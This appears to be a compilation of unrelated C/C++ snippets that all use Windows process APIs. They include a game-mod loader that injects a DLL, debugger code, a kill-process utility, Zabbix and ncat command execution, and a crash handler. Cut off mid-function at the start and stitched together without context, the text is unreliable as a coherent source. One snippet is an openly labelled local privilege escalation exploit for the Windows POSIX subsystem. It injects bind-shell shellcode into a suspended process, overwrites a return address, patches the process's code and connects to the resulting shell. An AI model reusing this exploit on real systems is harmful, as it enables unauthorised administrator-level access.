ret->task_id = DebugeePid; if( executeUntilStart( pid != 0 ) ) { LPVOID old; /* * make the application load our DLL, so that we can have it * run code out of it. One small note: this will not work right * if the app does not load our DLL at the same address the * debugger loaded it at!!! */ ti = FindThread( DebugeeTid ); MyGetThreadContext( ti, &con ); old = (LPVOID)AdjustIP( &con, 0 ); if( base != 0 ) { SetIP( &con, base ); } MySetThreadContext( ti, &con ); SetIP( &con, old ); MySetThreadContext( ti, &con ); } ti = FindThread( DebugeeTid ); MyGetThreadContext( ti, &con ); #if defined( MD_x86 ) FlatCS = con.SegCs; FlatDS = con.SegDs; #endif ret->flags |= LD_FLAG_IS_BIG; } ret->flags |= LD_FLAG_HAVE_RUNTIME_DLLS; if( pid != 0 ) { ret->flags |= LD_FLAG_IS_STARTED; } ret->mod_handle = 0; error_exit: if( buff != NULL ) { LocalFree( buff ); } return( sizeof( *ret ) ); } trap_retval ReqProg_kill( void ) { prog_kill_ret *ret; ret = GetOutPtr( 0 ); ret->err = 0; DelProcess( TRUE ); StopControlThread(); return( sizeof( *ret ) ); }
int main(int argc, char ** argv) { gLog.SetPrintLevel(IDebugLog::kLevel_Error); gLog.SetLogLevel(IDebugLog::kLevel_DebugMessage); if(!g_options.Read(argc, argv)) { PrintError("Couldn't read arguments."); g_options.PrintUsage(); return -1; } if(g_options.m_optionsOnly) { g_options.PrintUsage(); return 0; } if(g_options.m_launchCS) _MESSAGE("launching editor"); if(g_options.m_loadOldblivion) _MESSAGE("loading oldblivion"); // create the process STARTUPINFO startupInfo = { 0 }; PROCESS_INFORMATION procInfo = { 0 }; bool dllHasFullPath = false; startupInfo.cb = sizeof(startupInfo); const char * procName = g_options.m_launchCS ? "TESConstructionSet.exe" : "Oblivion.exe"; const char * baseDllName = g_options.m_launchCS ? "obse_editor" : "obse"; if(g_options.m_altEXE.size()) { procName = g_options.m_altEXE.c_str(); _MESSAGE("launching alternate exe (%s)", procName); } if(g_options.m_altDLL.size()) { baseDllName = g_options.m_altDLL.c_str(); _MESSAGE("launching alternate dll (%s)", baseDllName); dllHasFullPath = true; } std::string dllSuffix; ProcHookInfo procHookInfo; if(!TestChecksum(procName, &dllSuffix, &procHookInfo)) { _ERROR("checksum not found"); return -1; } if(procHookInfo.steamVersion) { // ### maybe check for the loader DLL and just CreateProcess("oblivion.exe") if we can? PrintError("You are trying to use a Steam version of Oblivion. Steam users should launch the game through Steam, not by running obse_loader.exe. If OBSE fails to load, go to Steam > Settings > In Game and check the box marked \"Enable Steam community in game\". Please see the instructions in obse_readme.txt for more information."); return 0; } if(g_options.m_crcOnly) return 0; // build dll path std::string dllPath; if(dllHasFullPath) { dllPath = baseDllName; } else { dllPath = GetCWD() + "\\" + baseDllName + "_" + dllSuffix + ".dll"; } _MESSAGE("dll = %s", dllPath.c_str()); // check to make sure the dll exists { IFileStream tempFile; if(!tempFile.Open(dllPath.c_str())) { PrintError("Couldn't find OBSE DLL (%s). Please make sure you have installed OBSE correctly and are running it from your Oblivion folder.", dllPath.c_str()); return -1; } } bool result = CreateProcess( procName, NULL, // no args NULL, // default process security NULL, // default thread security TRUE, // don't inherit handles CREATE_SUSPENDED, NULL, // no new environment NULL, // no new cwd &startupInfo, &procInfo) != 0; // check for Vista failing to create the process due to elevation requirements if(!result && (GetLastError() == ERROR_ELEVATION_REQUIRED)) { // in theory we could figure out how to UAC-prompt for this process and then run CreateProcess again, but I have no way to test code for that PrintError("Vista has decided that launching Oblivion requires UAC privilege elevation. There is no good reason for this to happen, but to fix it, right-click on obse_loader.exe, go to Properties, pick the Compatibility tab, then turn on \"Run this program as an administrator\"."); return -1; } ASSERT_STR_CODE(result, "Launching Oblivion failed", GetLastError()); if(g_options.m_setPriority) { if(!SetPriorityClass(procInfo.hProcess, g_options.m_priority)) _WARNING("couldn't set process priority"); } result = false; if(g_options.m_launchCS) { if(g_options.m_oldInject) { _MESSAGE("using old editor injection method"); // start the process ResumeThread(procInfo.hThread); // CS needs to run its crt0 code before the DLL is attached, this delays until the message pump is running // note that this method makes it impossible to patch the startup code // this is better than Sleep(1000) but still ugly WaitForInputIdle(procInfo.hProcess, 1000 * 10); // too late if this fails result = InjectDLL(&procInfo, dllPath.c_str(), !g_options.m_noSync); if(!result) PrintError("Couldn't inject dll."); } else { _MESSAGE("using new editor injection method"); result = DoInjectDLL_New(&procInfo, dllPath.c_str(), &procHookInfo); if(!result) PrintError("Couldn't inject dll."); // start the process either way ResumeThread(procInfo.hThread); } } else { result = InjectDLL(&procInfo, dllPath.c_str(), !g_options.m_noSync); if(result) { // try to load oldblivion if requested if(g_options.m_loadOldblivion) { result = LoadOldblivion(&procInfo); if(!result) PrintError("Couldn't load oldblivion."); } } else PrintError("Couldn't inject dll."); if(result) { _MESSAGE("launching oblivion"); // start the process ResumeThread(procInfo.hThread); } else { _ERROR("terminating oblivion process"); // kill the partially-created process TerminateProcess(procInfo.hProcess, 0); g_options.m_waitForClose = false; } } // wait for the process to close if requested if(g_options.m_waitForClose) { WaitForSingleObject(procInfo.hProcess, INFINITE); } // clean up CloseHandle(procInfo.hProcess); CloseHandle(procInfo.hThread); return 0; }
void xrDebug::do_exit (const std::string &message) { FlushLog (); MessageBox (NULL,message.c_str(),"Error",MB_OK|MB_ICONERROR|MB_SYSTEMMODAL); TerminateProcess (GetCurrentProcess(),1); }
int KILL_PROC_BY_NAME(const TCHAR *szToTerminate) // Created: 6/23/2000 (RK) // Last modified: 3/10/2002 (RK) // Please report any problems or bugs to [email protected] // The latest version of this routine can be found at: // http://www.neurophys.wisc.edu/ravi/software/killproc/ // Terminate the process "szToTerminate" if it is currently running // This works for Win/95/98/ME and also Win/NT/2000/XP // The process name is case-insensitive, i.e. "notepad.exe" and "NOTEPAD.EXE" // will both work (for szToTerminate) // Return codes are as follows: // 0 = Process was successfully terminated // 603 = Process was not currently running // 604 = No permission to terminate process // 605 = Unable to load PSAPI.DLL // 602 = Unable to terminate process for some other reason // 606 = Unable to identify system type // 607 = Unsupported OS // 632 = Invalid process name // 700 = Unable to get procedure address from PSAPI.DLL // 701 = Unable to get process list, EnumProcesses failed // 702 = Unable to load KERNEL32.DLL // 703 = Unable to get procedure address from KERNEL32.DLL // 704 = CreateToolhelp32Snapshot failed // Change history: // modified 3/8/2002 - Borland-C compatible if BORLANDC is defined as // suggested by Bob Christensen // modified 3/10/2002 - Removed memory leaks as suggested by // Jonathan Richard-Brochu (handles to Proc and Snapshot // were not getting closed properly in some cases) { BOOL bResult,bResultm; DWORD aiPID[1000],iCb=1000,iNumProc,iV2000=0; DWORD iCbneeded,i,iFound=0; TCHAR szName[MAX_PATH],szToTermUpper[MAX_PATH]; HANDLE hProc,hSnapShot,hSnapShotm; OSVERSIONINFO osvi; HINSTANCE hInstLib; int iLen,iLenP,indx; HMODULE hMod; PROCESSENTRY32 procentry; MODULEENTRY32 modentry; // Transfer Process name into "szToTermUpper" and // convert it to upper case iLenP=(int)wcslen(szToTerminate); if(iLenP<1 || iLenP>MAX_PATH) return 632; for(indx=0;indx<iLenP;indx++) szToTermUpper[indx]=toupper(szToTerminate[indx]); szToTermUpper[iLenP]=0; // PSAPI Function Pointers. BOOL (WINAPI *lpfEnumProcesses)( DWORD *, DWORD cb, DWORD * ); BOOL (WINAPI *lpfEnumProcessModules)( HANDLE, HMODULE *, DWORD, LPDWORD ); DWORD (WINAPI *lpfGetModuleBaseName)( HANDLE, HMODULE, LPTSTR, DWORD ); // ToolHelp Function Pointers. HANDLE (WINAPI *lpfCreateToolhelp32Snapshot)(DWORD,DWORD) ; BOOL (WINAPI *lpfProcess32First)(HANDLE,LPPROCESSENTRY32) ; BOOL (WINAPI *lpfProcess32Next)(HANDLE,LPPROCESSENTRY32) ; BOOL (WINAPI *lpfModule32First)(HANDLE,LPMODULEENTRY32) ; BOOL (WINAPI *lpfModule32Next)(HANDLE,LPMODULEENTRY32) ; // First check what version of Windows we're in osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bResult=GetVersionEx(&osvi); if(!bResult) // Unable to identify system version return 606; // At Present we only support Win/NT/2000/XP or Win/9x/ME if((osvi.dwPlatformId != VER_PLATFORM_WIN32_NT) && (osvi.dwPlatformId != VER_PLATFORM_WIN32_WINDOWS)) return 607; if(osvi.dwPlatformId==VER_PLATFORM_WIN32_NT) { // Win/NT or 2000 or XP // Load library and get the procedures explicitly. We do // this so that we don't have to worry about modules using // this code failing to load under Windows 9x, because // it can't resolve references to the PSAPI.DLL. hInstLib = LoadLibraryA("PSAPI.DLL"); if(hInstLib == NULL) return 605; // Get procedure addresses. lpfEnumProcesses = (BOOL(WINAPI *)(DWORD *,DWORD,DWORD*)) GetProcAddress( hInstLib, "EnumProcesses" ) ; lpfEnumProcessModules = (BOOL(WINAPI *)(HANDLE, HMODULE *, DWORD, LPDWORD)) GetProcAddress( hInstLib, "EnumProcessModules" ) ; lpfGetModuleBaseName =(DWORD (WINAPI *)(HANDLE, HMODULE, LPTSTR, DWORD )) GetProcAddress( hInstLib, "GetModuleBaseNameW" ) ; if(lpfEnumProcesses == NULL || lpfEnumProcessModules == NULL || lpfGetModuleBaseName == NULL) { FreeLibrary(hInstLib); return 700; } bResult=lpfEnumProcesses(aiPID,iCb,&iCbneeded); if(!bResult) { // Unable to get process list, EnumProcesses failed FreeLibrary(hInstLib); return 701; } // How many processes are there? iNumProc=iCbneeded/sizeof(DWORD); // Get and match the name of each process for(i=0;i<iNumProc;i++) { // Get the (module) name for this process wcscpy_s(szName,L"Unknown"); // First, get a handle to the process hProc=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE, aiPID[i]); // Now, get the process name if(hProc) { if(lpfEnumProcessModules(hProc,&hMod,sizeof(hMod),&iCbneeded) ) { iLen=lpfGetModuleBaseName(hProc,hMod,szName,MAX_PATH); } } CloseHandle(hProc); // We will match regardless of lower or upper case #ifdef BORLANDC if(strcmp(strupr(szName),szToTermUpper)==0) #else if(wcscmp(_wcsupr(szName),szToTermUpper)==0) #endif { // Process found, now terminate it iFound=1; // First open for termination hProc=OpenProcess(PROCESS_TERMINATE,FALSE,aiPID[i]); if(hProc) { if(TerminateProcess(hProc,0)) { // process terminated CloseHandle(hProc); FreeLibrary(hInstLib); return 0; } else { // Unable to terminate process CloseHandle(hProc); FreeLibrary(hInstLib); return 602; } } else { // Unable to open process for termination FreeLibrary(hInstLib); return 604; } } } } if(osvi.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS) { // Win/95 or 98 or ME hInstLib = LoadLibraryA("Kernel32.DLL"); if( hInstLib == NULL ) return 702; // Get procedure addresses. // We are linking to these functions of Kernel32 // explicitly, because otherwise a module using // this code would fail to load under Windows NT, // which does not have the Toolhelp32 // functions in the Kernel 32. lpfCreateToolhelp32Snapshot= (HANDLE(WINAPI *)(DWORD,DWORD)) GetProcAddress( hInstLib, "CreateToolhelp32Snapshot" ) ; lpfProcess32First= (BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32)) GetProcAddress( hInstLib, "Process32First" ) ; lpfProcess32Next= (BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32)) GetProcAddress( hInstLib, "Process32Next" ) ; lpfModule32First= (BOOL(WINAPI *)(HANDLE,LPMODULEENTRY32)) GetProcAddress( hInstLib, "Module32First" ) ; lpfModule32Next= (BOOL(WINAPI *)(HANDLE,LPMODULEENTRY32)) GetProcAddress( hInstLib, "Module32Next" ) ; if( lpfProcess32Next == NULL || lpfProcess32First == NULL || lpfModule32Next == NULL || lpfModule32First == NULL || lpfCreateToolhelp32Snapshot == NULL ) { FreeLibrary(hInstLib); return 703; } // The Process32.. and Module32.. routines return names in all uppercase // Get a handle to a Toolhelp snapshot of all the systems processes. hSnapShot = lpfCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 ) ; if( hSnapShot == INVALID_HANDLE_VALUE ) { FreeLibrary(hInstLib); return 704; } // Get the first process' information. procentry.dwSize = sizeof(PROCESSENTRY32); bResult=lpfProcess32First(hSnapShot,&procentry); // While there are processes, keep looping and checking. while(bResult) { // Get a handle to a Toolhelp snapshot of this process. hSnapShotm = lpfCreateToolhelp32Snapshot( TH32CS_SNAPMODULE, procentry.th32ProcessID) ; if( hSnapShotm == INVALID_HANDLE_VALUE ) { CloseHandle(hSnapShot); FreeLibrary(hInstLib); return 704; } // Get the module list for this process modentry.dwSize=sizeof(MODULEENTRY32); bResultm=lpfModule32First(hSnapShotm,&modentry); // While there are modules, keep looping and checking while(bResultm) { if(wcscmp(modentry.szModule,szToTermUpper)==0) { // Process found, now terminate it iFound=1; // First open for termination hProc=OpenProcess(PROCESS_TERMINATE,FALSE,procentry.th32ProcessID); if(hProc) { if(TerminateProcess(hProc,0)) { // process terminated CloseHandle(hSnapShotm); CloseHandle(hSnapShot); CloseHandle(hProc); FreeLibrary(hInstLib); return 0; } else { // Unable to terminate process CloseHandle(hSnapShotm); CloseHandle(hSnapShot); CloseHandle(hProc); FreeLibrary(hInstLib); return 602; } } else { // Unable to open process for termination CloseHandle(hSnapShotm); CloseHandle(hSnapShot); FreeLibrary(hInstLib); return 604; } } else { // Look for next modules for this process modentry.dwSize=sizeof(MODULEENTRY32); bResultm=lpfModule32Next(hSnapShotm,&modentry); } } //Keep looking CloseHandle(hSnapShotm); procentry.dwSize = sizeof(PROCESSENTRY32); bResult = lpfProcess32Next(hSnapShot,&procentry); } CloseHandle(hSnapShot); } if(iFound==0) { FreeLibrary(hInstLib); return 603; } FreeLibrary(hInstLib); return 0; }
BOOL CreateInteractiveProcess(DWORD dwSessionId, PWSTR pszCommandLine, BOOL fWait, DWORD dwTimeout, DWORD *pExitCode) { DWORD dwError = ERROR_SUCCESS; HANDLE hToken = NULL; LPVOID lpvEnv = NULL; wchar_t szUserProfileDir[MAX_PATH]; DWORD cchUserProfileDir = ARRAYSIZE(szUserProfileDir); STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; DWORD dwWaitResult; // Obtain the primary access token of the logged-on user specified by the // session ID. if (!WTSQueryUserToken(dwSessionId, &hToken)) { dwError = GetLastError(); goto Cleanup; } // Run the command line in the session that we found by using the default // values for working directory and desktop. // This creates the default environment block for the user. if (!CreateEnvironmentBlock(&lpvEnv, hToken, TRUE)) { dwError = GetLastError(); goto Cleanup; } // Retrieve the path to the root directory of the user's profile. if (!GetUserProfileDirectory(hToken, szUserProfileDir, &cchUserProfileDir)) { dwError = GetLastError(); goto Cleanup; } // Specify that the process runs in the interactive desktop. si.lpDesktop = L"winsta0\\default"; // Launch the process. if (!CreateProcessAsUser(hToken, NULL, pszCommandLine, NULL, NULL, FALSE, CREATE_UNICODE_ENVIRONMENT, lpvEnv, szUserProfileDir, &si, &pi)) { dwError = GetLastError(); goto Cleanup; } if (fWait) { // Wait for the exit of the process. dwWaitResult = WaitForSingleObject(pi.hProcess, dwTimeout); if (dwWaitResult == WAIT_OBJECT_0) { // If the process exits before timeout, get the exit code. GetExitCodeProcess(pi.hProcess, pExitCode); } else if (dwWaitResult == WAIT_TIMEOUT) { // If it times out, terminiate the process. TerminateProcess(pi.hProcess, IDTIMEOUT); *pExitCode = IDTIMEOUT; } else { dwError = GetLastError(); goto Cleanup; } } else { *pExitCode = IDASYNC; } Cleanup: // Centralized cleanup for all allocated resources. if (hToken) { CloseHandle(hToken); hToken = NULL; } if (lpvEnv) { DestroyEnvironmentBlock(lpvEnv); lpvEnv = NULL; } if (pi.hProcess) { CloseHandle(pi.hProcess); pi.hProcess = NULL; } if (pi.hThread) { CloseHandle(pi.hThread); pi.hThread = NULL; } // Set the last error if something failed in the function. if (dwError != ERROR_SUCCESS) { SetLastError(dwError); return FALSE; } else { return TRUE; } }
/* Start a subprocess with run_command_redirected and register it with the termination handler. Takes care of o.shellexec. Returns the PID of the subprocess or -1 on error. */ static int start_subprocess(char *cmdexec, struct subprocess_info *info) { char *cmdbuf; int pid; if (o.execmode == EXEC_SHELL) { /* Run with cmd.exe. */ const char *shell; size_t cmdlen; shell = get_shell(); cmdlen = strlen(shell) + strlen(cmdexec) + 32; cmdbuf = (char *) safe_malloc(cmdlen); Snprintf(cmdbuf, cmdlen, "%s /C %s", shell, cmdexec); #ifdef HAVE_LUA } else if (o.execmode == EXEC_LUA) { char exepath[8192]; char *cmdexec_escaped, *exepath_escaped; int n; n = GetModuleFileName(GetModuleHandle(0), exepath, sizeof(exepath)); if (n == 0 || n == sizeof(exepath)) return -1; cmdexec_escaped = escape_windows_command_arg(cmdexec); if (cmdexec_escaped == NULL) return -1; exepath_escaped = escape_windows_command_arg(exepath); if (exepath_escaped == NULL) { free(cmdexec_escaped); return -1; } n = asprintf(&cmdbuf, "%s --lua-exec-internal %s", exepath_escaped, cmdexec_escaped); free(cmdexec_escaped); free(exepath_escaped); if (n < 0) return -1; #endif } else { cmdbuf = cmdexec; } if (o.debug) logdebug("Executing: %s\n", cmdbuf); pid = run_command_redirected(cmdbuf, info); if (cmdbuf != cmdexec) free(cmdbuf); if (pid == -1) return -1; if (register_subprocess(info->proc) == -1) { if (o.verbose) logdebug("Couldn't register subprocess with termination handler; not executing.\n"); TerminateProcess(info->proc, 2); subprocess_info_close(info); return -1; } return pid; }
// Clean up for when application quits void application_exit() { TerminateProcess(process_information.hProcess,0); CloseHandle(process_information.hProcess); CloseHandle(process_information.hThread); }
/****************************************************************************** * * * Function: zbx_waitpid * * * * Purpose: this function waits for process to change state * * * * Parameters: pid - [IN] child process PID * * * * Return value: on success, PID is returned. On error, * * -1 is returned, and errno is set appropriately * * * * Author: Alexander Vladishev * * * ******************************************************************************/ static int zbx_waitpid(pid_t pid) { const char *__function_name = "zbx_waitpid"; int rc, status; zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name); do { #ifdef WCONTINUED static int wcontinued = WCONTINUED; retry: if (-1 == (rc = waitpid(pid, &status, WUNTRACED | wcontinued))) { if (EINVAL == errno && 0 != wcontinued) { wcontinued = 0; goto retry; } #else if (-1 == (rc = waitpid(pid, &status, WUNTRACED))) { #endif zabbix_log(LOG_LEVEL_DEBUG, "%s() waitpid failure: %s", __function_name, zbx_strerror(errno)); goto exit; } if (WIFEXITED(status)) zabbix_log(LOG_LEVEL_DEBUG, "%s() exited, status:%d", __function_name, WEXITSTATUS(status)); else if (WIFSIGNALED(status)) zabbix_log(LOG_LEVEL_DEBUG, "%s() killed by signal %d", __function_name, WTERMSIG(status)); else if (WIFSTOPPED(status)) zabbix_log(LOG_LEVEL_DEBUG, "%s() stopped by signal %d", __function_name, WSTOPSIG(status)); #ifdef WIFCONTINUED else if (WIFCONTINUED(status)) zabbix_log(LOG_LEVEL_DEBUG, "%s() continued", __function_name); #endif } while (!WIFEXITED(status) && !WIFSIGNALED(status)); exit: zabbix_log(LOG_LEVEL_DEBUG, "End of %s():%d", __function_name, rc); return rc; } #endif /* _WINDOWS */ /****************************************************************************** * * * Function: zbx_execute * * * * Purpose: this function executes a script and returns result from stdout * * * * Parameters: command - [IN] command for execution * * buffer - [OUT] buffer for output, if NULL - ignored * * error - [OUT] error string if function fails * * max_error_len - [IN] length of error buffer * * * * Return value: SUCCEED if processed successfully, TIMEOUT_ERROR if * * timeout occurred or FAIL otherwise * * * * Author: Alexander Vladishev * * * ******************************************************************************/ int zbx_execute(const char *command, char **buffer, char *error, size_t max_error_len, int timeout) { size_t buf_size = PIPE_BUFFER_SIZE, offset = 0; int ret = FAIL; #ifdef _WINDOWS STARTUPINFO si; PROCESS_INFORMATION pi; SECURITY_ATTRIBUTES sa; HANDLE job = NULL, hWrite = NULL, hRead = NULL; char *cmd = NULL; wchar_t *wcmd = NULL; struct _timeb start_time, current_time; #else pid_t pid; int fd; #endif *error = '\0'; if (NULL != buffer) { *buffer = zbx_realloc(*buffer, buf_size); **buffer = '\0'; } #ifdef _WINDOWS /* set the bInheritHandle flag so pipe handles are inherited */ sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; /* create a pipe for the child process's STDOUT */ if (0 == CreatePipe(&hRead, &hWrite, &sa, 0)) { zbx_snprintf(error, max_error_len, "unable to create a pipe: %s", strerror_from_system(GetLastError())); goto close; } /* create a new job where the script will be executed */ if (0 == (job = CreateJobObject(&sa, NULL))) { zbx_snprintf(error, max_error_len, "unable to create a job: %s", strerror_from_system(GetLastError())); goto close; } /* fill in process startup info structure */ memset(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = GetStdHandle(STD_INPUT_HANDLE); si.hStdOutput = hWrite; si.hStdError = hWrite; /* use cmd command to support scripts */ cmd = zbx_dsprintf(cmd, "cmd /C \"%s\"", command); wcmd = zbx_utf8_to_unicode(cmd); /* create the new process */ if (0 == CreateProcess(NULL, wcmd, NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { zbx_snprintf(error, max_error_len, "unable to create process [%s]: %s", cmd, strerror_from_system(GetLastError())); goto close; } CloseHandle(hWrite); hWrite = NULL; /* assign the new process to the created job */ if (0 == AssignProcessToJobObject(job, pi.hProcess)) { zbx_snprintf(error, max_error_len, "unable to assign process [%s] to a job: %s", cmd, strerror_from_system(GetLastError())); if (0 == TerminateProcess(pi.hProcess, 0)) { zabbix_log(LOG_LEVEL_ERR, "failed to terminate [%s]: %s", cmd, strerror_from_system(GetLastError())); } } else if (-1 == ResumeThread(pi.hThread)) { zbx_snprintf(error, max_error_len, "unable to assign process [%s] to a job: %s", cmd, strerror_from_system(GetLastError())); } else ret = SUCCEED; if (FAIL == ret) goto close; _ftime(&start_time); timeout *= 1000; ret = zbx_read_from_pipe(hRead, buffer, &buf_size, &offset, timeout); if (TIMEOUT_ERROR != ret) { _ftime(¤t_time); if (0 < (timeout -= zbx_get_timediff_ms(&start_time, ¤t_time)) && WAIT_TIMEOUT == WaitForSingleObject(pi.hProcess, timeout)) { ret = TIMEOUT_ERROR; } } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); close: if (NULL != job) { /* terminate the child process and it's childs */ if (0 == TerminateJobObject(job, 0)) zabbix_log(LOG_LEVEL_ERR, "failed to terminate job [%s]: %s", cmd, strerror_from_system(GetLastError())); CloseHandle(job); } if (NULL != hWrite) CloseHandle(hWrite); if (NULL != hRead) CloseHandle(hRead); zbx_free(cmd); zbx_free(wcmd); #else /* not _WINDOWS */ alarm(timeout); if (-1 != (fd = zbx_popen(&pid, command))) { int rc; char tmp_buf[PIPE_BUFFER_SIZE]; while (0 < (rc = read(fd, tmp_buf, sizeof(tmp_buf) - 1)) && MAX_EXECUTE_OUTPUT_LEN > offset + rc) { if (NULL != buffer) { tmp_buf[rc] = '\0'; zbx_strcpy_alloc(buffer, &buf_size, &offset, tmp_buf); } } close(fd); if (-1 == rc || -1 == zbx_waitpid(pid)) { if (EINTR == errno) ret = TIMEOUT_ERROR; else zbx_snprintf(error, max_error_len, "zbx_waitpid() failed: %s", zbx_strerror(errno)); /* kill the whole process group, pid must be the leader */ if (-1 == kill(-pid, SIGTERM)) zabbix_log(LOG_LEVEL_ERR, "failed to kill [%s]: %s", command, zbx_strerror(errno)); zbx_waitpid(pid); } else if (MAX_EXECUTE_OUTPUT_LEN <= offset + rc) { zabbix_log(LOG_LEVEL_ERR, "command output exceeded limit of %d KB", MAX_EXECUTE_OUTPUT_LEN / ZBX_KIBIBYTE); } else ret = SUCCEED; } else zbx_strlcpy(error, zbx_strerror(errno), max_error_len); alarm(0); #endif /* _WINDOWS */ if (TIMEOUT_ERROR == ret) zbx_strlcpy(error, "Timeout while executing a shell script.", max_error_len); else if ('\0' != *error) zabbix_log(LOG_LEVEL_WARNING, "%s", error); if (SUCCEED != ret && NULL != buffer) zbx_free(*buffer); return ret; }
main() { STARTUPINFO si; PROCESS_INFORMATION pi; LPVOID pdwCodeRemote; unsigned int cbMemSize = MEMSIZE; DWORD dwOldProtect,dwNumBytesXferred; unsigned char buffer[MEMSIZE]; unsigned int buflen=0; unsigned char textbuf[CODESIZE]; int i; unsigned short lports; char cmdarg[400]; char systemdir[MAX_PATH+1]; WSADATA wsd; SOCKET sockfd; printf("Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit(%s)\n",VERSION); printf("By bkbll (bkbll#cnhonker.net,bkbll#tom.com) www.cnhonker.com\;n\n"); if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) { printf("[-] WSAStartup error:%d\n", WSAGetLastError()); return -1; } i = GetWindowsDirectory(systemdir,MAX_PATH); systemdir[i]='\0'; _snprintf(cmdarg,sizeof(cmdarg)-1,"%s\\system32\\posix.exe /P %s\\system32\\pax.exe /C pax -h",systemdir,systemdir); //printf("cmdarg:%s\n",cmdarg); //exit(0); ZeroMemory(&si,sizeof(si)); si.cb = sizeof(si); ZeroMemory( &pi,sizeof(pi)); //create process //先让psxss运行起来 if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE, 0, 0, 0, &si, &pi)) { printf("CreateProcess1 failed:%d\n", GetLastError()); return 0; } WaitForSingleObject(pi.hProcess, INFINITE); //再运行一次 ZeroMemory(&si,sizeof(si)); si.cb = sizeof(si); ZeroMemory( &pi,sizeof(pi)); if(!CreateProcess(NULL, cmdarg, NULL, NULL, TRUE,CREATE_SUSPENDED, 0, 0, &si, &pi)) { printf("CreateProcess2 failed:%d\n", GetLastError()); return 0; } //alloc from remote process pdwCodeRemote = (PDWORD)VirtualAllocEx(pi.hProcess, NULL, cbMemSize,MEM_COMMIT | MEM_TOP_DOWN,PAGE_EXECUTE_READWRITE); if (pdwCodeRemote == NULL) { TerminateProcess(pi.hProcess,0); printf("VirtualAllocEx failed:%d\n",GetLastError()); return 0; } printf("Remote addr:0x%08x\n",pdwCodeRemote); //we can write and execute if(!VirtualProtectEx(pi.hProcess, pdwCodeRemote, cbMemSize,PAGE_EXECUTE_READWRITE, &dwOldProtect)) { TerminateProcess(pi.hProcess,0); printf("VirtualProtectEx failed:%d\n",GetLastError()); return 0; } //make shellcode lports = htons(bindport)^0xeeee; memcpy(bind_shell+bind_port_offset,&lports,2); memset(buffer,'\x90',MEMSIZE); //memset(buffer,'A',EIPLOCATION); buffer[MEMSIZE-1] = '\0'; i=sizeof(bind_shell)-1; if(i >= EIPLOCATION) { printf("shellcode so large:%d,must < %d\n",i,MEMSIZE); TerminateProcess(pi.hProcess,0); return 0; } i=EIPLOCATION-i; memcpy(buffer+i,bind_shell,sizeof(bind_shell)-1); *(unsigned int*)(buffer+EIPLOCATION) = RETADDR; //覆盖eip *(unsigned int*)(buffer+EIPLOCATION+4) =CANWRITEADDR; //覆盖第一个参数 memcpy(buffer+EIPLOCATION+12,jmpcode,sizeof(jmpcode)-1); //write in to target buflen=MEMSIZE; if(!WriteProcessMemory(pi.hProcess,pdwCodeRemote,buffer,buflen,&dwNumBytesXferred)) { TerminateProcess(pi.hProcess,0); printf("WriteProcessMemory failed:%d\n",GetLastError()); return 0; } //modified the process .text if(!VirtualProtectEx(pi.hProcess,(LPVOID)PATCHADDR,CODESIZE,PAGE_EXECUTE_READWRITE, &dwOldProtect)) { TerminateProcess(pi.hProcess,0); printf("VirtualProtectEx 0x08x failed:%d\n",PATCHADDR,GetLastError()); return 0; } //创建要修补的内容 i = 0; textbuf[i++]='\xbf'; textbuf[i++]=(DWORD)pdwCodeRemote & 0xff; //mov edi,pdwCodeRemote textbuf[i++]=((DWORD)pdwCodeRemote >> 8 ) & 0xff; textbuf[i++]=((DWORD)pdwCodeRemote >> 16 ) & 0xff; textbuf[i++]=((DWORD)pdwCodeRemote >> 24 ) & 0xff; //替换跳转指令 textbuf[i++]='\xeb'; textbuf[i++]='\x09'; //jmp .+0b //写进进程中 if(!WriteProcessMemory(pi.hProcess,(LPVOID)PATCHADDR,textbuf,i,&dwNumBytesXferred)) { TerminateProcess(pi.hProcess,0); printf("WriteProcessMemory failed:%d\n",GetLastError()); return 0; } ResumeThread(pi.hThread); Sleep(5); sockfd=WSASocket(2,1,0,0,0,0); if(sockfd == INVALID_SOCKET) { printf("[-] WSASocket error:%d\n", WSAGetLastError()); return -1; } if(client_connect(sockfd,"127.0.0.1",bindport) < 0) { closesocket(sockfd); printf("[-] Maybe not success?\n"); } readwrite(sockfd); TerminateProcess(pi.hProcess,0); WaitForSingleObject(pi.hProcess, INFINITE); }
bool MSVCMemoryDump::miniDumpCallBack(const wchar_t* dump_path, const wchar_t* minidump_id, void* context, EXCEPTION_POINTERS* exinfo, MDRawAssertionInfo* assertion, bool succeeded) { if(succeeded) { //Launches crashreport.exe std::string commandLine = "owcrashreport"; if (!_styleName.empty()) { commandLine += " -style="; commandLine += _styleName; } //Name of the memory dump //Use current path std::string memoryDumpName; if ( !_fileNamePrefix.empty() ) { memoryDumpName += _fileNamePrefix; memoryDumpName += "-"; } memoryDumpName += wstr2str(std::wstring(minidump_id)); memoryDumpName += ".dmp"; //GetModuleFileName retrieves the path of the executable file of the current process. std::string memoryDumpFile = wstr2str(std::wstring(dump_path)); memoryDumpFile += memoryDumpName; commandLine += " -d "; commandLine += "\""; commandLine += memoryDumpFile; commandLine += "\""; commandLine += " -n "; commandLine += "\""; commandLine += _applicationName; commandLine += "\""; if (!_languageFilename.empty()) { commandLine += " -l "; commandLine += "\""; commandLine += _languageFilename; commandLine += "\""; } if (getAdditionalInfo) { commandLine += " -i "; commandLine += "\""; commandLine += getAdditionalInfo(); commandLine += "\""; } //Flushes the logger file //Logger::logger.flush(); executeProcess(commandLine); } // force to terminate TerminateProcess(GetCurrentProcess(), 0); return succeeded; }
